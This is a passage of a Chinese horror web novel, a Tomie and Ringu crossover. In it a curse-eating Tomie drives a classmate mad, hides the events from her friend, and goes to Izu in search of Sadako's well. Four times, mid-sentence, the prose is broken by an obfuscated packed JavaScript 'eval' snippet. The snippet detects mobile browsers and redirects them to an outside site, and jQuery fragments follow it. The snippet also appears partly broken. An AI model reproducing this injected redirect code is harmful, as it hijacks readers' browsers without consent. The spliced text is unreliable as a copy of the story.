因为这女孩任性的要求,已经和惠子分手的男友找到了那卷诅咒的录像带。 年轻气盛的少年认为,只要自己破除了诅咒,成为全校的焦点,心爱的女孩就能重新将目光放在他身上。 然后,悲剧发生了。 “这种十恶不赦的女人死了更好。”握紧手中的利刃,本乡惠子向自己打气。“我只是替天行道!” 然而就在这个时候,一道嘶哑的声音自她背后响起。 “烦死人了你这丑八怪!” 本乡惠子猛然转身,不可置信地朝来源看去。 川上富江还躺在地上,浑身是血,死不瞑目,美丽的脸蛋被划得稀烂。 “把我的脸划成这样,我要怎么去见人?话说得那么好听,也不过就是嫉妒罢了。” 两个女孩傻了。 下一秒,本乡猛然爆发,一边挥舞着手里的电筒,一边狂乱地大喊:“谁!是谁!不要装神弄鬼!给我出来!” 然后,女孩们看到了让自己此生难忘的一幕景象。 原本躺在地上的富江动了一下,伴随着一阵令人牙酸的骨骼作响的怪声,原本应该已经成为尸体的女孩歪着脖子,跌跌撞撞地站了起来。 她被划烂的脸毫无生气,月子敏锐地发现,富江的侧脸缓缓鼓了起来。 那道嘶哑的声音就是从这里传出来的。 “我终于!我终于自由了!哈哈哈哈!” 一张人脸出现在富 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309681|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江的右半边侧脸上,并且还在不断地往外冒。 惠子看到了一双怨毒的,没有眼仁的眼睛盯着自己,长在富江侧脸上的头,眼角下也有一颗泪痣。 “自己看不住男人,倒还怪起我来了?你也真是不要脸啊,本乡。” 本乡惠子浑身颤抖了起来。这语气,这眼神,是富江!是她认识的那个富江!! “怎么……怎么可能……!” 女孩后退一步,腿却彻底软了,直接扑通一声跌坐在地,看着眼前浑身是血的“尸体”。 “不过托你的福,我可终于有机会从身体里出来了。” 这个富江言辞刻薄极了,说到这还笑了两声。 “大田这家伙,死了好歹还有点用处。” “富……富江?” “哦,还有你,想要偷拍我的蠢货。”那人面瘤终于注意到了月子,转动了一下富江的脑袋。“被怪物骗得团团转的感觉怎么样?” “什么意思?” 二人还没反应过来,富江那望向虚空的眼珠忽然转动了一下,齐齐看向了正在说话的人面瘤。 “……姐姐,吓唬人可不好啊。” 女孩勾起嘴角,伸出右手,将掌心覆于人面瘤之上。 然后———— “啊啊啊啊啊啊!!!!不要!!不要!我好不容易获得了自由!!” 嘶哑的惨叫伴随着一阵诡异的咀嚼声,响彻了整个大厅。 “川上富江”看着已经跌坐在地,张着嘴,连声音都发不出来的本乡惠子,叹了口气。 “其实我一直怀疑大田同学的死和诅咒录像带的流传跟姐姐有关系,那这样本乡同学恨我也是有理由的。” 咀嚼声还没有停止,但惨叫声已经消失,同时,“川上富江”身上的伤口也在逐渐愈合。 不多时,那个美丽到妖艳的少女又出现在了二人面前。 “我一直在想该怎么补偿因为姐姐的任性和自私受到伤害的同学们,后来你就把录像带借给了我。” 她温柔地笑了起来。 “其实我很喜欢那卷带子哦,因为上面弥漫着好香好香的味道。” 就像本乡惠子现在身上弥漫的味道那样,是充满了诅咒,痛苦,怨恨,负面,对她来说美妙异常的味道。 “富江”俯下身,抱住本乡惠子:“好可怜,抖得都停不下来,而且浑身发冷,很痛苦吧?本乡同学?” 她抚摸着女孩冰冷的脸,像是看着恋人一般看着她。 “但是,对不起,我已经……忍不住了!” 话音刚落,美丽的少女张开红唇,轻轻吻住了怀中的女孩。 ------------------------------------- 电闪雷鸣下,月子看到从富江的双眼中,源源不断地流出了奇异的,像是黑泥一般的东西。 起先是眼耳口鼻,随后,那些黑泥不断地从川上富江的身体内涌出,注入到本乡惠子的体内。 而被富江怀抱着的女孩只能惊恐地睁大眼,抽搐着身体,承受着黑泥的入侵。 月子趴在地上,连呼吸都忘了,只能目瞪口呆地看着眼前的一幕。 脑袋还在嗡嗡作响,脚踝剧痛,雷声与风声甚至还有雨水击打在玻璃上的声音在耳边回荡。 如果这是梦的话———— 纷乱的思绪,诡异恐怖的现实,泉泽月子再也承受不了精神和身体上的双重惊吓,双眼一翻,彻底失去了意识。 5. 第 5 章 一种难以言喻的满足感弥漫在富江的全身。 黑泥遍布本乡惠子的体内,贪婪地吸收着能让自己不断成长的能量—— 愤怒、嫉妒、恶意以及最重要也是最强烈的:恐惧感。 等富江松开跪在地上的女生时,她身上的伤口已经全部消失了。 本乡惠子并没有失去意识,而是呆愣愣地仰着头,瞪大眼睛看着上方的虚空。 富江微微勾起嘴角,什么也不说,只是看着对方。 “嘿嘿……呵……嘿嘿嘿嘿……” 过了几秒跪在地上的女生忽然小声笑了,她一边笑,一边继续直勾勾仰着头站起来,缓慢地向楼梯走去。 闪电划过空中,屋内短暂地亮了一下。富江抬头看向楼梯上方,在晕倒的月子上方出现了一个身穿黑衣戴着帽子的高个子人影。 “欢迎回来,凌叔叔。” 那人没接话,只是打开了手中的提灯。 若是月子还醒着,或许会惊叫出声,因为眼前之人的脸上没有眉毛和头发,皮肤遍布突起的伤痕,是一张宛如骷髅般的暗红色怪脸! 本乡惠子此刻已经走到二楼口,她依然仰着头痴痴地笑着,像是看不见身边的男人,缓缓朝长廊尽头的房间走去。 “……你做了什么?” “只是让她在房间乖乖待着而已。”富江走上阶梯,张开双臂,给身穿黑衣的男人一个轻轻的拥抱。“毕竟诅咒还没结束。” 眼前这个身穿黑衣,容貌怪异,声音嘶哑的男人,便是泉泽等人只闻其名不见其人的“管家”——小泉凌。 男人的面皮抽动了一下:“我说过,你什么都不用做。” “我原来也是这么打算的。”富江抱着比自己高很多的男人,似乎是在撒娇。“但没办法,这是姐姐留下的烂摊子。” 她浑然不在意对方怪异的面貌与嘶哑的声音,像是小猫一般在对方衣服上蹭了蹭自己的脑袋:“她不仅不帮忙,还故意使绊子,我都不高兴了。” 男人动了动手指,最终抬起胳膊,轻轻拍了拍女孩的肩膀:“那富……你姐姐呢?” “我刚才受了点伤饿得不行,姐姐被我吸收了一部分力量,现在睡着了。” 亲人安慰一般的举动让富江有些开心。 她伸出手,捧住了男人满是烧伤的脸,柔嫩的指尖来回抚摸着那些凹凸不平的皮肤:“放心,只要我还在,你的愿望就一定会实现。” 那声音甜美而柔软,尾音微微上扬,像是钩子,又像是羽毛,轻轻抚弄着听者的心。 但没等小泉凌回答,她又忽然松开手,一阵风似的离开了他,蹲到了依然还在昏迷的月子的身边。 “月子,好可怜,受了这么重的伤。” 富江用手将泉泽月子额角的血迹擦去,抬头看向身旁的管家。 “凌叔叔,能帮我把月子抱去卧室吗?” 男人沉默地看着富江,他的目光落在女孩眼角的那颗泪痣上。 随后,沉默地蹲下身,抱起已经昏迷的短发女孩,与富江一同离开了依然漆黑一片的客厅。 ------------------------------------- 雷声轰鸣。 昏暗的房间内,一盏煤油灯晃动着烛火,让阴影张牙舞爪地舞动着。 大雨拍击在窗户上,发出轻微的啪嗒声,也让那若有似无的哼唱声显得更加微弱。 小泉凌端坐在墙边,看着躺在床上,靠着昏迷的泉泽月子的富江。 男人并非自愿守候在屋内,他原本是打算将泉泽月子带入房后,就去独自维修保险丝的。 但—— “凌叔叔今天晚上,一直和我们呆在一起比较好哦。” 女孩轻飘飘一句话,制止了男人的行动。 “为什么?” 富江靠在床头,此刻她已经换上了干净的睡裙,歪了歪脑袋,黑发垂落在白皙而圆润的肩膀上。 “因为本乡同学的诅咒并没有消失。” 而今天,就是她看了录像带的第七日。 “外面很危险,我的肚子还饿着呢。” 这句话听起来前言不搭后语,但男人却明白了富江的意思,拉来了靠背椅,端坐在屋内一角。 “凌叔叔不过来坐吗?” 即使眼前美人在卧,对他态度亲昵,小泉凌依然不为所动地摇了摇头。 “我坐在这就好。” 因为他知道“富江”是个什么东西。 最初的“川上富江”,确实是大家口中所说的魔性之女。 虽然拥有绝世美貌,性格却异常恶劣,而被她魅惑的男人们则会逐渐无法控制自己对富江的杀意,从而犯下杀人的罪过。 但富江最特别的地方,便是她拥有的,不老不死与再生分裂的能力。 小泉凌认识富江,是在十年前。那时候,他还是个小有名气的模特。 但与富江相识,将男人拽入了不幸的深渊。 最后,小泉凌在大火中毁容,失去了曾经的一切。如今,对“川上富江”复仇,成了他最大的心愿。 他与中村保子是在半年多以前到达这座城市的,循着川上富江的踪迹。 那女人依然死性不改,极尽可能地诱惑着身边的男性,这次甚至妄图找到制止自身分裂的方法。 细碎的歌声飘荡在耳边,似乎是摇篮曲。 他掀开眼皮,瞧了一眼床上的两个女孩,随即有些嘲讽地勾起了嘴角。 可能是老天也看不下去川上富江的所作所为吧,总之等小泉凌带着中村保子潜入被她占领的这栋大宅,真正的川上富江已经打开了潘多拉的魔盒。 “祂”降生的那一日,也是个雷雨之夜。 “祂”诞生在这桩大宅的地下室后,率先吞噬掉的,是被川上富江拿来做人体实验,已经变成了怪物的房主的女儿。 随后,是川上富江狂热的追随者,对她抱有扭曲的爱意与杀意的男人们。 最后,就轮到了富江。 但川上富江与前两者不同,拥有非常强大的再生能力,而那时候的“祂”尚无形体。 “啊啊啊啊——不要!救救我!救命!救命!!” 小泉凌眼睁睁地看着“祂”包裹住了那个让自己憎恨的女人,一点点渗进了她的体内,耳边回荡着川上富江的惨叫。 “我不想消失啊!!” 然后,曾经的“川上富江”消失了。 “祂”成为了新的富江。 同时,一个崭新的,疯狂的愿望,诞生在了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309682|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两名复仇者心中。 “凌叔叔这次外出,调查到什么了吗?” 富江的声音将小泉凌的思绪拉了回来,他抬头,刚好撞上了富江带着笑意的目光。 “这盘带子最初是在伊豆一代出现的。” 男人避开了那好像充满了感情的视线,拉了一下帽檐,开始轻声讲述起自己调查到的,有关诅咒录像带的事实。 ------------------------------------- 狂风暴雨的夜晚,富江所在的大宅漆黑一片。 忽然,伴随着闪电,客厅的电视机诡异地亮了起来。 房间里因为断电一片漆黑,唯有电视机画面上的雪花点不断闪烁,发出了嘈杂的声音。 几秒后,画面一闪,雪花点消失了,画面变换为了一处空地,以及一口古井。 雨声减小,寂静的屋内响起了奇异的声响,像是什么东西刮擦硬物发出来的。 然后,原本静止的电视画面开始动了。 远处的井口边上,缓缓地,冒出了一个人影。 黑色的长发遮盖住了他的面貌,人影用痉挛的四肢缓慢地攀爬着,最后从井口彻底爬了出来。 那是一个黑色长发,身着白裙的,女人的身影。 她站定在了井边,却并没有停下来,而是摇摇晃晃,向着电视机继续走着。 然后,诡异的事再度发生了。 由玻璃构成的电视屏幕闪了一下,像是水面般晃动起来,然后,那个白裙黑发,看不清面容的女人就这样,从电视机里爬了出来! 窗外闪过一道闪电,炸雷声响起。 从电视机内爬出的鬼影并没有停止,而是缓慢地拖动着脚步,继续朝屋内走去,一步,一步,最后,来到了一间卧室门前。 只听吱呀一声,房间的门缓缓打开。 漆黑的屋内,隐约可以看到一个,倚着床柱靠着的身影。 是本乡惠子。 “嘿……嘿嘿……” 她坐在那,时不时发出傻傻的笑声,像是完全没注意到身后产生的异变。 长发白裙的身影一步一步,缓缓走到本乡惠子的身后。 闪电划过夜空,屋内骤然亮起,女人垂着头,长发遮挡了她的面容,唯有一只青白色的,带着血丝的眼睛,恶狠狠地盯着本乡惠子。 然而,就在这个瞬间,异变突起! 原本倚床而笑的女孩猛地一仰头,脖颈几乎折成了一个九十度。她的脸刚好对上了身后白裙黑发的鬼影。 女孩的脸上还带着诡异的微笑,闭着的双眼猛然睁开,却不见眼白与瞳孔,而是一片浓重的黑红。 下一个瞬间,那些粘稠的,不断鼓动着的,像是泥一样的黑红色东西就从本乡惠子的眼,耳,口,鼻源源不断地冒了出来。 黑红色的泥像是有生命一般,飞向了那个白衣黑发的鬼影,瞬间便将她包裹得严严实实。 “嘿嘿,哈哈,哈哈哈……” 本乡惠子的喉咙里发出模糊的笑声,伴随着房间里传出的,奇妙的咀嚼声,她又开始哼起了另一种小调。 雷声掩盖住了所有杂音。 风雨中,古朴的大屋静悄悄地矗立在原地,就像是什么都没发生一般。 6. 第 6 章 泉泽月子是被一道刚好打在脸上的阳光给弄醒的。 她睁开眼,却被耀眼的太阳光猛刺了一下,下意识撇开头。 随后,月子猛然坐起身! “富江!” 女孩的大脑一片混沌,已经不记得昨晚发生了什么,但恐惧感却还牢牢地留在心中。 昨天晚上—— “怎么了月子?” 熟悉的声音响起,泉泽月子下意识抬头,看到了自己的朋友。 川上富江,她的好友正穿着睡裙站在门边,手上还端着个杯子。 “富……富江?” “嗯?”黑发女孩歪了歪脑袋,走到床边。“怎么了?睡迷糊了吗?” 她嘴上说着,手还摸了摸月子的额头。 富江的手很软,带着些许体温,月子甚至闻到了一股熟悉的,淡淡的香味。 与在不安的梦境中包裹着她的那股香气一模一样。 “对了,昨天晚上!”回过神来的月子慌忙下床,环顾四周。“昨天晚上不是停电了吗?然后你带我去配电室,然后,然后……” 然后发生了什么来着? 女孩只记得看到了破损的配电箱,之后的记忆就像是流水,无论月子怎么努力,那些模糊的画面都从她的指缝中洒了出去。 只有一种压抑得喘不过气的恐惧感,还残留在心中。 月子下意识打量着富江,穿着睡裙的好友一如既往的美丽,身上也没有任何伤口。在清晨的阳光下,她的皮肤光滑还带着光泽,让人想起煮熟的鸡蛋白。 “来,先喝点牛奶。” 川上富江看上去一点都不着急,慢悠悠地将手里的马克杯递了过来。 “……谢谢……” 一杯热牛奶下肚,月子感觉身体里的寒气被驱散了一些,心情也平复了下来。 “昨天晚上停电以后到底发生了什么?” 女孩眨了眨眼睛:“月子真的想知道?” 泉泽月子不明所以,点了点头。 “其实我们去配电室的时候,凌叔叔已经回来在维修电箱了。就是这个家的管家,我以前跟你提过,记得吗?” 月子当然记得,好几次她都怀疑这个人到底存不存在,毕竟她连身为女佣的中村保子都见过了,这名所谓的“管家叔叔”却还是神龙见首不见尾。 “就……屋子里太黑,外面还打雷闪电,你从配电室出来的时候刚好撞上凌叔叔,然后……” 黑发女孩说着,为难似的垂下眼帘。 “然后被叔叔吓到,晕过去了,还不小心磕到了后脑勺。” “……哈?” 就在这时,敲门声适时响了起来。 富江看向卧室的门,又看了一眼月子:“那个,你先做好心理准备哦。” 月子心中闪过狐疑,但几秒过后,当她看到眼前出现的黑衣男人时,还是惊愕地瞪大了双眼。 “噫……!” 惊叫刚一出口,女孩就尴尬地捂住了自己的嘴。现在,她终于理解富江为什么一直都摆出一副欲言又止的样子了。 出现在她们眼前的,是一个全身被黑衣包裹,戴着帽子,面部有着大面积烧伤的男人。 他脸上的皮肤都是暗红色的,没有眉毛和头发,眼窝深陷眼球突出,瘦削的脸颊让他比起人,更像是一个裹着皮的骷髅。 “这位就是小泉凌,是这个宅子的管家。” 富江的声音依然在耳边回响,月子反应了过来,等男人向自己点头示意,尴尬的感觉升到了最高点,甚至盖过了原本的恐惧。 “那个,真是非常对不起!!!” 自己居然因为停电,把人错认成鬼,还吓昏了过去……真是太丢人了! “没关系,你是富江的朋友。” 出人意料的是,这位因为烧伤面目恐怖的男人,意外的很好说话。 “昨天晚上房间没电,看错了也很正常,你没受伤就好。” 他的嗓子很粗哑,像是被砂纸打磨过一般,月子根本无法判断对方的年龄,只能满脸通红地低下头,恨不得埋到床里去。 按照富江和她家管家叔叔的说法,其实昨天晚上没停电之前,这位面貌有些可怕的管家先生就回到了家里。 他作为成年人,比两个孩子有经验多了,刚一停电人就去了配电室。 不过这幢房子的保险丝太老旧,因为雷劈直接短路被烧坏了,她们俩进去的时候,小泉凌正巧把配电箱里的东西拆了下来换修。 本来泉泽月子的精神就一直紧绷着,以为有陌生人入侵了屋子,带着富江往外跑的时候,就撞见了拿着新零件回来的小泉凌。 极度惊恐之下,月子摔倒在地,后脑勺磕到地板,昏了过去。 “原,原来是这样。” 听完二人的解释,女孩冷静了很多,但疑问却再度浮上心头。 她确实已经不记得昨晚冲出配电室后发生的事,但……总觉得哪里怪怪的。 眼前名叫小泉的男人长相确实吓人,但看到他的时候,月子却并没有感到苏醒时心中那份有些压抑,冰冷的恐惧感。 “……子,月子?” “嗯?”被声音拉回了思绪,已经换好衣服的泉泽月子下意识看向好友。 下一个瞬间,她的脑海中闪过了一个模糊的画面。 身穿白裙的富江躺在血泊中,满脸都是被刀划开的可怖痕迹。 月子悚了一下,猛然后退一步。 眼前,完好无损的川上富江正有些关切地看着她,手伸在半空中,似乎是准备搭一下她的肩膀,却被躲开了。 “月子,你脸色好差,真的没事吗?” 说着,黑色长发的少女轻轻抚摸了一下她的后脑勺。 “要不我还是陪你去趟医院吧?” 富江的手带着温度,脸上关切的神情也不似作伪,这样月子一下愧疚了起来。 “不,没关系。” 她摇了摇头,将那些惶惶然的情绪甩到了脑后,朝朋友笑了一下。 “抱歉,我好像做了个噩梦,还有点魂不守舍的。” 今天刚好星期六,学校不上课,收拾好行装,泉泽月子便离开了富江家。 从大门出去的时候,短发女孩转过身,原本是想和朋友招手告别的,余光却不由自主地瞥向了竖立在此的古宅。 即使在清晨的阳光下,由石块堆砌而成的三层洋楼不知为何,依然有种阴森森的感觉。 月子抖了一下,脖颈起了一层鸡皮疙瘩,胡乱地朝富江挥了挥手,快步离开了此处。 ------------------------------------- “诶呀,月子走掉了。” 朋友的身影消失在道路尽头,富江才放下挥舞着的手臂。 “没想到才过了一个晚上,她的伤就全好了。” 她的背后,黑衣的管家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309683|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隐藏在大门下的阴影里。 是的,什么被长相恐怖的管家吓晕,根本就是谎言。 泉泽月子确实在前一晚看到了为了复仇潜入大宅的本乡,二人甚至被对方追杀,她还因此扭伤了脚,头部被砸出了血。 可能是因为伤重,再加上看到了过于匪夷所思的东西,女孩的潜意识将那些恐怖的经历统统抹去了。 而她受的那些伤—— “嘿嘿,我很厉害吧。” 富江转了个身,向面前的小泉凌伸出双手。她站在阳光下,莹白的指尖都被镀上了一层淡淡的金色。 时间回到几个小时前的雨夜,当缠绕本乡惠子的诅咒被彻底吞噬殆尽,身处另一间卧室,正听着故事的富江忽然伸了个懒腰。 她像一只餍足的猫一样,蹭了蹭睡在一旁的月子,然后轻轻抚摸起了女孩的脸。 柔软的指尖接触到皮肤的瞬间,泉泽月子身上的伤口开始慢慢愈合,因为磕碰而出现的青肿也逐渐恢复正常。 没过多久,她身上所有的伤就都彻底痊愈了。 “你是怎么做到的?” “嗯……我也不知道。就是心里想着,然后摸了一下月子。” 富江说着伸出手,抓起了被自己称为叔叔的男人的手,抚摸着那凹凸不平的皮肤。 “因为受伤很疼啊,我不想让月子疼。” 小泉凌没有说话,手指微微颤动了一下。 女孩低着头,看向自己掌心的大手,笑了起来。 “说不定……以后凌叔叔的另一个愿望也能够实现。” 她专注地玩着男人的手,没有注意到对方闻言,眼角抽动了一下。 “我没有其他愿望。” “撒谎。”富江抬起头,露出了一个了然的微笑,另一只手抚上了管家的脸颊。 他的脸颊很瘦,掌心只留下了骨头以及皮肤上凹凸不平的触感。 “被别人毁容,被大火烧伤,最后一无所有。” 女孩的嗓音柔美,平日总是翘着的尾音沉了下去,带上了一丝哀婉的意味。 “……一定很痛吧?” 小泉凌的眼神变了。 他依然什么都没说,身体却在富江的掌心下微微颤抖着。 但这对富江来说已经足够了。 她张开双臂,再次拥抱住了藏在阴影中的男人。 “没关系的叔叔,没关系。” “不管你许什么样的愿望,我都会帮你实现。” 像是安慰孩子一般,富江轻轻拍着男人的背。 “因为我是你们的‘富江’啊。” 时间就像是静止了一般。 富江很喜欢这样抱着别人,因为这样就能感觉到别人的体温,甚至能听到他们的心跳声。 人类的体温,呼吸,心跳,甚至那些激烈的情感,无论美好,丑恶,她都喜欢。 那份喜爱之情没有任何缘由,也非常单纯。 当然,她最喜欢的,还是—— “是啊,你是我们的富江。” 男人喃喃自语一般地说着,将女孩从怀抱里推开。 富江依然微笑着,看着死死盯着自己的男人。 “所以,你只需要继续做富江就好了。” 抓着她肩膀的手力道很大,男人用嘶哑的声音,一个字一个字地念着。 像是在告诫富江,又像是在对自己说。 “这才是我唯一的愿望。” 7. 第 7 章 本乡惠子是在小镇的河边被发现的。 过路的行人看到女孩的时候,她正穿着一身沾了泥土的衣服,摇摇晃晃地走在河滩上。 一边走,一边发出痴痴的笑声。 没过多久,本乡惠子被送进精神病院的传言在整个学校不胫而走。 然而当月子气喘吁吁跑到富江所在的班级门口时,映入眼帘的,却是端坐在位置上翻看杂志的好友。 “诶呀,早上好,月子。” 她看上去完全没有被这个有些不祥的消息影响心情。 月子的身体忽然有些发冷。 从那个雷雨之夜,她在富江家因为意外晕倒后,一种无缘无故的惶恐感就一直跟着她。 她甚至会在睡梦中看到同班同学本乡举着刀,一脸凶相地追杀自己。 “怎么了月子?” 声音拉回了月子的思绪,她发现朋友已经来到了教室门前。 富江身后还有很多其他学生,月子讨厌那些人探究中又带着恐惧的眼神,当即拉着她走开了。 “再这样下去我也快疯了——” 在没有人的角落,月子有些崩溃地抱住了头。 “为什么会变成这样……!” 女孩的声音带着哭腔,这让富江有些心疼。 “冷静点。” 她用手捧住了月子的脸蛋,专注地看着对方的眼睛。 “本乡同学只是住院了,人还好好的不是吗?” 是啊,所谓的“七日诅咒”并未实现,本乡惠子虽然疯了,人却活得好好的。 这让泉泽月子感到了一丝安慰。 月子不知道的是,诅咒已经不会再找上那个女孩了。 富江以另一种方式,彻底完成了本乡惠子的愿望,将她从诅咒中解放了出来。 “爸爸曾经对我说过,人活着就总会有好事发生。” 川上富江顺势抱紧了月子,感受着对方的体温。 “说不定从今以后,她就可以好好生活下去了呢?” “这……” 富江的话像是有魔力,又或者,她本身就具有奇妙的,让人感到心安的魔力。 月子惶惶不安的心平静了下来。 “……或许你说的有道理。” 她一侧头,下巴就碰上了富江那又黑又亮的长发,闻到了幽幽的香气。 “是我想太多了。” “放宽心。”川上富江轻轻抚摸着月子的脊背,“等我忙完这阵子的事情,我们一起出去玩吧,月子想去哪里?” “忙完?” “嗯,家里有些事需要我亲自去处理,所以从明天开始我就要请假了。” 不等月子开口,她继续道:“放心,凌叔叔会跟着我。爸爸现在卧病在床,只有我这个法定继承人才能去处理这些事。” 脑海里闪过小泉凌那有些瘆人的面貌,月子张了张嘴,好半天才问出一句:“你要去哪啊?” “伊豆。” 话音刚落,象征着上课的预备铃响了起来。月子分了神没能继续追问,被富江拉着往回走。 “等我给你带伊豆特产回来哦。” “啊?呃……好吧。”说完月子反应过来,皱起眉头看着富江,虽然充满疑问,却来不及把那句话问出来。 虽然本乡惠子没事了,但富江还没有转录过带子。 而且,为什么是伊豆? 当然是因为录像带的诅咒起源就在伊豆。 月子因为接触诅咒事件的时间尚短,并不知道其中的秘密。但小泉凌就不同了,因为川上富江本尊的原因,多年来他一直在与各地的民俗怪谈传说打交道,调查起所谓的“诅咒”可以说是易如反掌。 很早之前,他就受富江的嘱咐,去调查录像带的起源。雷雨之夜归家,本就是为了这件事。 这盘录像带,最早是在伊豆的一家旅馆中被人发现的。但店主本人并不知道它的来历,感觉像是凭空出现在架子上似的。 后来有人来旅游度假,无意间看了录像带,诅咒才传播开来。 虽然即使放着不管,那诅咒也会找上富江,但她果然还是想自己亲自去看看。 看看那份被尘封在井底的,深不见底的绝望与恐惧。 告别月子的第二天,川上富江和自己的管家一同踏上了前往伊豆的路。考虑到此次行程的特殊性,他们并未乘坐公共交通,而是选择了驾车。 “你让我调查的信息我也查到了。” 车内,男人将一份资料交给富江。 “几十年前伊豆确实出现了一个能够预言火山爆发的女人,她叫——” “山村志津子。” 管家眯起眼睛:“是的,后来她……” “自杀了。”富江随意翻动着资料,嘴角微微上翘。“外界指责她是个骗子,没有超能力,她不堪压力,我看看……原来是跳了火山啊。” “你都知道。”男人的语气有些冷。 “也是那天晚上才看到的。”女孩看向车窗外,漫不经心道:“诅咒这种东西,原本就是残留在这个世间的,强烈记忆投射出来的东西。” 富江吞噬掉了一部分来自录像带的诅咒,自然也接收到了那里面传达的信息。 “她还有个女儿叫做山村贞子。” 诅咒的源头并不是山村志津子。 那个女人确实拥有一些常人没有的能力,但并不强大到能在死后产生诅咒。她的死亡原因也和井没关系。 “那个女孩比她妈妈强多了。”富江拨开被风吹乱的刘海,“因为强大,所以被别人恐惧,最后被人从身后袭击丢到了井里。” 至今,她都依然待在冰冷潮湿又黑暗的井底,仰望着井口微弱的光线,将那份绵延不绝的怨恨传播到外界的每个角落。 小泉凌没有说话,只有汽车发动机的声音轰隆作响。 半晌,富江轻笑了一声。 “好开心啊。” 她托着下巴,一派天真地看着车窗外碧蓝如洗的天空。 “感觉可以和那孩子交个朋友,我要怎么做自我介绍比较好?” 男管家的嘴角抽搐了一下,眼里没有笑意,嘶哑的声音很低沉:“诅咒该怎么办?” “不要紧,不要紧~” 富江拖长了声音,欢快地像是在哼唱小曲。 “那些东西真的很好吃,我会慢慢享用的。” 明明还在夏日,这话却让小泉凌生出了一阵寒意。 在太阳落山之前,二人抵达了位于伊豆的度假区。 “要我陪你一起进去么?” 富江从管家手中接过行李,闻言双眼亮了亮。 “不用。” 她伸手拥抱了一下自己的家人,虽然面露不舍,却拒绝了对方的陪同。 “今晚就麻烦凌叔叔另外找地方休息了,明早来接我就好。” 至于理由—— “交朋友要有诚意。” 说完,川上富 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309684|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江转身步入管理员小屋。 凭借着惊人的美貌和礼貌的谈吐,女孩迅速获得了对方的青睐,并拿到了预定好的房间钥匙。 比起一客一房的一般酒店,这个度假村更像是为年轻人准备的活动度假区,连房子都是分开的小木屋。 富江把行李放进屋内,便没有再出屋。 直到夕阳的余晖也渐渐散去,整个度假区被黑暗笼罩。 她安静地梳洗完毕,躺上床,在夜虫的鸣叫声中睡去。 不知道过了多久,耳边的虫鸣声消失了。 富江睁开眼,她从卧房来到了一间堆满杂物与家具的,有些陈旧的小屋。 女孩在屋里走了两步,最后停在了一扇小窗边。 透过窗口,她看到了两个身影。 白裙黑发的女孩在地上艰难地爬着,最后攀扶到了井边。 而她的身后,跟着一名穿着衬衫,手握柴刀的男子。 男人只迟疑了一下,接着便高高举起手中的利器,猛地砍向女孩。 尖叫声响起,富江站在窗口,看着那男人将女孩从井口扔了下去。 最后甚至还寻来了沉重的石材,将井口堵得严严实实。 不知道什么时候开始,那名戴着眼镜,有些憔悴的杀人凶手消失了。 只有被石块压住的水井,孤零零地留在那片空地上。 富江耳边,撕心裂肺的惨叫声从未停止过。 那是山村贞子的哭喊,是她的恐惧,也是她的怨恨。 富江忽然笑了。 已经进入深夜的现实世界里,躺在床上的黑发少女也露出了一个笑容。 下一秒,诡异的事发生了。 就像是那个雷雨之夜一般,川上富江的周身开始源源不断地冒出黑红色的,像是污泥又像是活物一般的东西。 黑红色的,冒着泡的流体不断地涌出,渐渐的,它们盖住了地板,攀附上了墙壁,从地缝,窗户,门缝渗透了出去。 黑泥落到了地上,无声无息地渗进了地板,墙面,甚至泥土中。 源源不断,源源不断,直到蔓延至整个度假区。 不祥的黑红色同样侵蚀了那个悲伤又可怖的梦境,小屋在污泥的侵蚀下逐渐消失,然后是颜色失真的草地,灌木,树林。 富江脚步所接触到的地面,都逐渐化作了那蠕动的,黑红色的,像是活物一般的东西。 到最后,整个世界被黑红色的污泥填满了,只剩下一口井。 那个埋葬着,封印着山村贞子的古井。 富江嘴角的弧度越弯越大,她来到井边,缓缓伸出手—— 在她周身蠢动的污泥也动了,它们包裹在女孩的手上,让她拥有了足以推开石块的力量。 几秒后,原本被封住的井口就被彻底打开。污泥也随着开启的入口,源源不断地注入进去。 川上富江弯下腰,凑近井口,然后她看到了一个被浸泡在水中,充满恐惧与憎恨,绝望到有些美丽的灵魂。 